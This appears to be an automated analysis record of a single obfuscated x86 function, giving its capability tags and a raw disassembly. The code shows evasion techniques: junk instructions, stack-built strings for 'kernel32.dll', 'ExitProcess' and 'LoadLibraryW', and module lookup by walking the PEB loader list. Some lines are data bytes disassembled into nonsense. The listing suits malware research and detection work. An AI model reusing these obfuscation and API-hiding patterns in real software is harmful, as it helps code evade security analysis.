Function at 0x413a6a
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and eax, 0x90ed
add eax, 0xc3de
sub eax, 0x161d6
pop eax
push eax
push ebx
add esp, 4
sub eax, 0xa4b4
pop eax
push ecx
sub ecx, 0xc7ce
or ecx, 0x11faa
pop ecx
mov dword [ebp - 0x209c], 0xe
push esi
push ecx
add esp, 4
sub esi, 0x6a51
call 0x4132f4
add byte [0x3c324841], dh
xor bh, byte [edx]
cmp al, 0x34
add esp, 4
pop esi
push esi
or esi, 0x12b79
and esi, 0x833f
xor esi, 0x1544e
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15c4], eax
push edx
push eax
add esp, 4
call 0x413333
add byte [edi + 0x46], cl
dec esi
xor al, 0x46
dec esp
aas
add esp, 4
sub edx, 0x677d
pop edx
push esi
sub esi, 0x6061
pop esi
push edi
and edi, 0x1d82
or edi, 0xc143
pop edi
mov dword [ebp - 0x20a0], 0xffffffff
push ecx
push edi
add esp, 4
add ecx, 0xe81c
add ecx, 0x6267
pop ecx
push eax
call 0x41337d
add byte [edx + 0x33], al
inc esp
dec ebx
aas
inc eax
dec ecx
add esp, 4
and eax, 0x1705b
pop eax
push ebx
or ebx, 0xe57c
pop ebx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x4fc], ecx
jmp 0x4133ac
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
push edi
sub edi, 0x4e15
add edi, 0x16fd4
sub edi, 0x6d7
and edi, 0xd075
pop edi
push edx
push esi
add esp, 4
or edx, 0xae31
and edx, 0x86b1
xor edx, 0x12a1f
pop edx
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x413426
push eax
xor eax, 0xe2d2
sub eax, 0xafb0
pop eax
push edx
push ebx
add esp, 4
xor edx, 0xfaf7
call 0x413417
add byte [edx], dh
cmp eax, dword ds:[esi + 0x43]
xor eax, 0x833f3c3d
les eax, [ecx + eax*4]
ljmp 0xe95a
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xac4], ecx
push edx
xor edx, 0x16669
pop edx
push eax
and eax, 0x9857
or eax, 0xedb0
pop eax
push edx
push ebx
add esp, 4
xor edx, 0x6510
call 0x41346a
add byte [eax + 0x33], al
inc edx
dec edx
cmp cl, byte ds:[ebp - 0x7d]
les eax, [edx + ebx*2]
mov edx, dword [ebp - 0x15c4]
mov dword [ebp - 0xa60], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x15c4]
jne 0x4134d5
push edx
add edx, 0x16180
call 0x4134a8
add byte [ebp + 0x38], al
xor eax, 0x48424a33
inc ebx
dec edi
add esp, 4
call 0x4134ba
add byte [ebx + 0x36], al
inc ebp
dec ecx
xor al, 0x33
cmp al, 0x32
cmp dword [ebx - 0x1d7efb3c], eax
and edi, dword [ecx + 1]
add byte [edx - 0x75], bl
lea edi, [ebx + esi*8 - 1]
dec dword [ecx - 0x15cb73]
invalid
cmp dword [ebp - 0xc80], 0
jle 0x4135fa
push ecx
add ecx, 0xc2f7
and ecx, 0x1873
add ecx, 0x5232
pop ecx
push ecx
push ebx
add esp, 4
call 0x41350a
add byte [edx + 0x3b], cl
cmp eax, 0x363a4e37
dec ebp
add esp, 4
or ecx, 0xe549
pop ecx
mov edx, dword [ebp - 0xac4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa60]
movzx edx, byte [ecx]
cmp eax, edx
je 0x413596
push edi
add edi, 0x10a39
pop edi
push eax
push edx
add esp, 4
call 0x413544
add byte [ebx + 0x43], al
xor eax, 0x35443f43
add esp, 4
or eax, 0x105a5
or eax, 0x3c34
jmp 0x41355b
pop eax
mov eax, dword [ebp - 0xac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x41357e
mov dword [ebp - 0x15c8], 1
jmp 0x413588
mov dword [ebp - 0x15c8], 0xffffffff
mov ecx, dword [ebp - 0x15c8]
mov dword [ebp - 0xc84], ecx
jmp 0x4135fa
push edx
push ecx
add esp, 4
and edx, 0xc3ea
pop edx
push esi
xor esi, 0x17b18
sub esi, 0x31ea
pop esi
push edx
push edi
add esp, 4
sub edx, 0xf45c
and edx, 0x113e5
and edx, 0x13c45
pop edx
mov edx, dword [ebp - 0xc80]
sub edx, 1
mov dword [ebp - 0xc80], edx
mov eax, dword [ebp - 0xac4]
add eax, 1
mov dword [ebp - 0xac4], eax
mov ecx, dword [ebp - 0xa60]
add ecx, 1
mov dword [ebp - 0xa60], ecx
jmp 0x4134d5
mov edx, dword [ebp - 0xc84]
mov dword [ebp - 0x15cc], edx
cmp dword [ebp - 0x15cc], 0
jne 0x41364f
push eax
or eax, 0xa31c
add eax, 0x135c9
add eax, 0x156f
pop eax
push ebx
push edx
add esp, 4
and ebx, 0x11aad
and ebx, 0x109d6
and ebx, 0x1357c
and ebx, 0x14aac
pop ebx
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x3e8], eax
jmp 0x413690
jmp 0x41339d
push eax
xor eax, 0xa94b
xor eax, 0xe745
add eax, 0xc1ff
pop eax
push edi
push esi
add esp, 4
or edi, 0xd21b
or edi, 0x8354
pop edi
push edx
push ebx
add esp, 4
add edx, 0xce74
pop edx
push ebx
push esi
add esp, 4
sub ebx, 0xf505
call 0x4136d9
add byte [0x373a3e41], bh
dec edi
add esp, 4
call 0x4136ea
add byte [ecx], bh
inc eax
xor ecx, dword [eax + 0x49]
inc ecx
aas
add esp, 4
add ebx, 0x9f6
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15d0], eax
push ecx
add ecx, 0x14446
or ecx, 0x16cd
xor ecx, 0x6cdd
xor ecx, 0xb17f
pop ecx
push eax
push eax
add esp, 4
sub eax, 0xc409
xor eax, 0x7734
and eax, 0x53b9
pop eax
mov dword [ebp - 0x20a4], 0xffffffff
push eax
push eax
add esp, 4
or eax, 0x6e6
or eax, 0xf0dd
pop eax
push esi
push eax
add esp, 4
and esi, 0x5e26
pop esi
push edx
add edx, 0x10725
or edx, 0x17ca3
add edx, 0x10cc9
pop edx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x413794
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push esi
push ecx
add esp, 4
and esi, 0x3685
pop esi
push esi
and esi, 0x16c0b
call 0x4137b6
add byte [esi], dh
dec ebx
dec edi
cmp eax, 0x47353750
xor eax, dword [ebx + 0x535e04c4]
push eax
add esp, 4
sub ebx, 0x3c37
pop ebx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x41380e
push edx
or edx, 0xc198
jmp 0x4137e3
add edx, 0x3675
pop edx
push edi
call 0x4137f7
add byte [ebp + 0x4b], cl
xor al, 0x3c
dec ebx
add esp, 4
pop edi
push ecx
and ecx, 0x8b9f
add byte [eax], al
and ecx, 0x1793d
pop ecx
jmp 0x413a3c
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push edx
sub edx, 0x8bea
call 0x413839
add byte [eax + 0x35], cl
inc edi
inc esi
dec ecx
dec ebx
dec esi
cmp eax, 0x5a04c483
push ecx
push ecx
add esp, 4
or ecx, 0xa583
jmp 0x41384f
or ecx, 0xb91c
pop ecx
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x4138bd
push esi
push eax
add esp, 4
and esi, 0x2070
or esi, 0x159e4
and esi, 0x10695
sub esi, 0xf9b6
pop esi
push eax
xor eax, 0x4c3d
add eax, 0x12a2b
and eax, 0x5bd4
pop eax
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x4139ee
cmp dword [ebp - 0xc88], 0
jle 0x4139e2
push edx
call 0x4138d7
add byte [esi + eax*2 + 0x4d], al
inc ebp
xor al, 0x3e
add esp, 4
call 0x4138e6
add byte [ebp + 0x45], cl
inc ecx
inc edx
dec esp
inc ecx
add esp, 4
call 0x4138f8
add byte [edi + esi + 0x32], al
dec edx
cmp eax, 0x4044393b
add esp, 4
pop edx
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x41397e
push ecx
push eax
add esp, 4
sub ecx, 0x15255
call 0x41392b
add byte [edx + 0x34], cl
xor al, byte [ecx + 0x37]
xor eax, 0xc4834946
add al, 0xeb
pop es
inc ebx
inc edi
dec eax
cmp al, 0x34
inc edx
inc ebp
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x8fca
pop edi
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x413966
mov dword [ebp - 0x15a0], 1
jmp 0x413970
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x4139e2
push ecx
xor ecx, 0x17dc0
jmp 0x41398d
pop ecx
push ecx
push edi
add esp, 4
jmp 0x41399b
pop ecx
push eax
xor eax, 0x9076
or eax, 0x16d57
or eax, 0x11bc3
pop eax
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x4138bd
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x413a37
push ebx
add ebx, 0x10a9f
pop ebx
push ebx
push edi
add esp, 4
add ebx, 0x711
pop ebx
push ecx
add ecx, 0xefb
or ecx, 0x16a1f
pop ecx
push ecx
add ecx, 0xb94b
pop ecx
push eax
and eax, 0x5d5a
pop eax
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x413a78
jmp 0x413785
push ecx
jmp 0x413a46
pop ecx
push edx
push eax
add esp, 4
add edx, 0x151f4
pop edx
push edi
push ecx
add esp, 4
and edi, 0x8954
call 0x413a6a
add byte [edx + 0x44], cl
dec eax
dec ecx
inc ecx
add esp, 4
pop edi
mov dword [ebp - 0xab8], 0
push edx
or edx, 0xe0a2
xor edx, 0x5735
sub edx, 0x1180
pop edx
push edi
push eax
add esp, 4
sub edi, 0x52fa
and edi, 0x3a09
or edi, 0xef21
and edi, 0x5ff6
pop edi
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push edi
push edi
add esp, 4
add edi, 0xf326
or edi, 0x153ec
xor edi, 0x16974
pop edi
push ebx
sub ebx, 0xbb40
sub ebx, 0xa824
pop ebx
push ebx
push edx
add esp, 4
sub ebx, 0x72c5
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push esi
push eax
add esp, 4
sub esi, 0xd2a1
pop esi
push edx
sub edx, 0x16252
pop edx
push eax
push ebx
add esp, 4
and eax, 0x180d3
add eax, 0xfae2
pop eax
push eax
push esi
add esp, 4
and eax, 0x30f1
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x109b9
or ecx, 0x990
pop ecx
push ebx
push eax
add esp, 4
jmp 0x413c1b
sub ebx, 0x1e95
jmp 0x413c27
jmp 0x413c2c
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push eax
add eax, 0xf7ff
and eax, 0xb6ed
sub eax, 0xa4b4
sub eax, 0xacb
pop eax
push eax
xor eax, 0xa2b7
call 0x413c83
add byte [esp + edi], dh
xor eax, 0x4d324339
add esp, 4
pop eax
cmp dword [ebp - 0x15d8], 0
jne 0x413c9f
mov dword [ebp - 0x31c], 0
jmp 0x413f5b
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push esi
xor esi, 0xd343
add esi, 0x1244e
xor esi, 0x28aa
pop esi
push eax
push ebx
add esp, 4
or eax, 0x492e
or eax, 0x28ae
add eax, 0xf564
add eax, 0x309e
add byte [eax], al
pop eax
cmp dword [ebp - 0xc98], 0
jne 0x413cfb
mov dword [ebp - 0x31c], 0
jmp 0x413f5b
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push edx
push ebx
add esp, 4
add edx, 0x12200
or edx, 0x5c0
pop edx
push ebx
sub ebx, 0x12b57
pop ebx
push esi
push eax
add esp, 4
jmp 0x413d2c
add esi, 0x97fb
and esi, 0xce71
pop esi
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
lea ebp, [ebx + esi*8 - 1]
invalid
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push ebx
xor ebx, 0x18489
call 0x413d7c
add byte [0x3e473543], dh
inc esp
dec ecx
add esp, 4
pop ebx
push ecx
push ebx
add esp, 4
xor ecx, 0x8ae1
xor ecx, 0x1c00
sub ecx, 0x149fa
pop ecx
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push edx
push ecx
add esp, 4
or edx, 0xbf0a
and edx, 0xa43f
add edx, 0x16a4c
pop edx
push edx
jmp 0x413e11
sub edx, 0xd6fe
and edx, 0x9499
or edx, 0x16d37
insd dword es:[edi], dx
add dword [eax], eax
pop edx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x413e47
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x413eaa
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x413d66
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
cmp dword [ebp - 0x15e0], 0
jne 0x413ef3
push edx
push ecx
add esp, 4
call 0x413ec5
add byte [0x45353c38], bh
dec eax
dec edi
add esp, 4
call 0x413ed5
add byte [ebp + edi + 0x3e], al
dec esi
dec edi
dec esp
dec esi
add esp, 4
pop edx
push ecx
push eax
add esp, 4
add ecx, 0x18128
pop ecx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x413f5b
push edi
or edi, 0xdae6
or edi, 0x14194
pop edi
push eax
push edi
add esp, 4
or eax, 0x34c6
or eax, 0x133ce
add dword [eax], eax
sub eax, 0xe96a
pop eax
push eax
push ecx
add esp, 4
or eax, 0x1188f
pop eax
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x413f51
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x413d07
mov dword [ebp - 0x31c], 0
push edx
push ecx
add esp, 4
jmp 0x413f69
and edx, 0x86a
pop edx
push ecx
jmp 0x413f7a
xor ecx, 0xdd15
and ecx, 0x13b4d
or ecx, 0x6705
pop ecx
cmp dword [ebp - 0x31c], 0
jne 0x4148a6
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push edi
add edi, 0xce70
jmp 0x41403f
and edi, 0xa3a2
call 0x414055
add byte [esi], dh
cmp byte ds:[edi + esi + 0x49], cl
inc ebx
dec ebx
cmp al, byte [ebp - 0x7d]
les eax, [edi + ebx*2]
push eax
push edi
add esp, 4
or eax, 0xb48
pop eax
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push eax
and eax, 0x8d34
pop eax
push ecx
push edx
add esp, 4
add ecx, 0x1443
sub ecx, 0x30e2
and ecx, 0x15783
pop ecx
push edx
push edi
add esp, 4
jmp 0x414112
xor edx, 0x31d3
pop edx
cmp dword [ebp - 0x15e4], 0
jne 0x414131
mov dword [ebp - 0x750], 0
jmp 0x4143ed
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
call dword [edx + 0x51]
add esp, 4
add edx, 0xa7d6
sub edx, 0x10970
pop edx
push ecx
or ecx, 0x10c74
and ecx, 0xdba7
xor ecx, 0x15a38
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0xafbd
pop ecx
cmp dword [ebp - 0xca4], 0
jne 0x41418d
mov dword [ebp - 0x750], 0
jmp 0x4143ed
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx